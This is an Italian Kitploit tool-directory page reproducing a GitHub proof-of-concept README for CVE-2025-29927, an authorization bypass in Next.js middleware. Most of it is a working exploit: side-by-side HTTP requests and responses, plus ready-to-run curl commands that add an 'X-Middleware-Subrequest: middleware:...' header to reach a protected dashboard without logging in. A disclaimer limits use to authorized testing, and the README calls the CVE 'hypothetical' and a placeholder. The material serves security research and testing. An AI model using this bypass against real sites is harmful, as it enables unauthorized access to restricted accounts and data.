Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-29927-poc — Bypass dell'autorizzazione nel middleware di Next.js | Kitploit
Strumenti/GitHubGitHub/dedibagus/cve-2025-29927-poc
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

Bypass dell'autorizzazione nel middleware di Next.js

Vedi Repository
331 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2025-29927-POC

Introduzione

Questo repository contiene un Proof of Concept (PoC) per CVE-2025-29927, una vulnerabilità ipotetica che dimostra un difetto nella gestione del middleware all'interno di un'applicazione web. Il PoC illustra come una richiesta HTTP appositamente creata possa bypassare la logica di reindirizzamento per accedere a contenuti riservati, come una dashboard. Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza.

Disclaimer: Questo PoC è destinato all'uso in ambienti controllati con autorizzazione esplicita. Test non autorizzati su sistemi di cui non si possiede la proprietà o per cui non si ha il consenso sono illegali e non etici.


Indice dei Contenuti

  • Prerequisiti
  • Panoramica della Vulnerabilità
  • Passaggi del Proof of Concept
    • Passaggio 1: Richiesta Iniziale (Non riuscita)
    • Passaggio 2: Richiesta Modificata (Riuscita)
  • Come Replicare
  • Riferimenti
  • Contribuire
  • Licenza

Prerequisiti

Per seguire questo PoC, avrai bisogno di:

  • Un server di destinazione (es. abc.com) che esegue una configurazione vulnerabile (software/versione specifici da determinare in base ai dettagli della CVE).
  • Uno strumento client HTTP come curl (curl.se), Burp Suite (portswigger.net/burp), o uno script personalizzato.
  • Conoscenza di base dei protocolli e delle intestazioni HTTP (vedi Documentazione HTTP MDN).

Panoramica della Vulnerabilità

CVE-2025-29927 (segnaposto; sostituire con i dettagli ufficiali della CVE quando disponibili) sembra sfruttare una configurazione errata del middleware o un difetto logico. Il PoC dimostra che l'aggiunta di un'intestazione personalizzata (X-Middleware-Subrequest) altera il comportamento del server, bypassando un meccanismo di reindirizzamento per accedere a contenuti riservati. Questo probabilmente riguarda il modo in cui il middleware (es. Nginx con Next.js) elabora le sotto-richieste o convalida le intestazioni.

Per maggiori informazioni sulle vulnerabilità del middleware, consulta OWASP Middleware Security.


Passaggi del Proof of Concept

Il PoC consiste in due passaggi: una richiesta iniziale non riuscita e una richiesta modificata riuscita. Ogni passaggio include la richiesta HTTP, la risposta e una spiegazione dettagliata.

Passaggio 1: Richiesta Iniziale (Non riuscita)

Questo passaggio dimostra il comportamento predefinito del server quando si accede all'endpoint /dashboard senza intestazioni aggiuntive.

Richiesta HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Risposta HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

immagine

Spiegazione

  • Dettagli Richiesta:
    • GET /dashboard: Tenta di accedere all'endpoint della dashboard.
    • Intestazioni standard come User-Agent e Accept imitano una tipica richiesta del browser.
  • Dettagli Risposta:
    • 307 Temporary Redirect: Indica che il server reindirizza il client, probabilmente a causa di logiche di autenticazione, autorizzazione o routing (ad es. reindirizzamento a una pagina di login).
    • Server: nginx/1.14.1: Identifica il software del server web.
  • Analisi: Il reindirizzamento suggerisce un meccanismo di protezione che impedisce l'accesso diretto a /dashboard. L'assenza di un'intestazione Location in questa risposta (possibilmente omessa per brevità) implica che la destinazione del reindirizzamento sia altrove.
  • Riferimento: Scopri di più sui codici di stato HTTP su Stati HTTP MDN.

Passaggio 2: Richiesta Modificata (Riuscita)

Questo passaggio introduce un'intestazione personalizzata per bypassare il reindirizzamento, recuperando con successo il contenuto della dashboard.

Richiesta HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Risposta HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

immagine

Spiegazione

  • Dettagli Richiesta:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Un'intestazione personalizzata aggiunta alla richiesta originale. La stringa ripetuta middleware potrebbe sfruttare un difetto di analisi o convalida nello stack del middleware.
    • Le altre intestazioni rimangono invariate rispetto al Passaggio 1.
  • Dettagli Risposta:
    • 200 OK: Conferma l'accesso riuscito al contenuto della dashboard.
    • Content-Type: text/html; charset=utf-8: Indica una risposta HTML, probabilmente la pagina della dashboard.
    • X-Powered-By: Next.js: Suggerisce che l'applicazione utilizza Next.js, un framework React che spesso si basa sul middleware per il routing.
    • Cache-Control: Impedisce la memorizzazione nella cache, tipico per contenuti dinamici e specifici dell'utente.
    • Content-Length: 30174: Dimensione del corpo della risposta in byte.
  • Analisi: L'intestazione X-Middleware-Subrequest probabilmente inganna il middleware facendogli trattare la richiesta come una sotto-richiesta legittima, bypassando la logica di reindirizzamento. Ciò potrebbe indicare una vulnerabilità nel modo in cui le sotto-richieste vengono convalidate o elaborate.

Come Replicare

Segui questi passaggi per replicare il PoC usando curl:

Passaggio 1: Invia la Richiesta Iniziale

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Risultato Previsto: Una risposta 307 Temporary Redirect.

Passaggio 2: Invia la Richiesta Modificata

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Risultato Previsto: Una risposta 200 OK con il contenuto della dashboard.

Nota: Sostituisci abc.com con il dominio di destinazione effettivo se si testa in un ambiente autorizzato.


Riferimenti

  • Dettagli CVE - Database ufficiale delle CVE (aggiornare con il link specifico della CVE quando disponibile).
  • Documentazione HTTP MDN - Nozioni di base sul protocollo HTTP.
  • Middleware Next.js - Informazioni sul comportamento del middleware di Next.js.
  • Sicurezza del Middleware OWASP - Panoramica sulle vulnerabilità del middleware.
  • Manuale di curl - Guida all'uso di curl per richieste HTTP.

Licenza

Questo progetto è concesso in licenza con la licenza MIT. Vedi il file LICENSE per i dettagli.

Scarica lo strumento
  • Riferimento: Esplora il middleware di Next.js su Documentazione Next.js.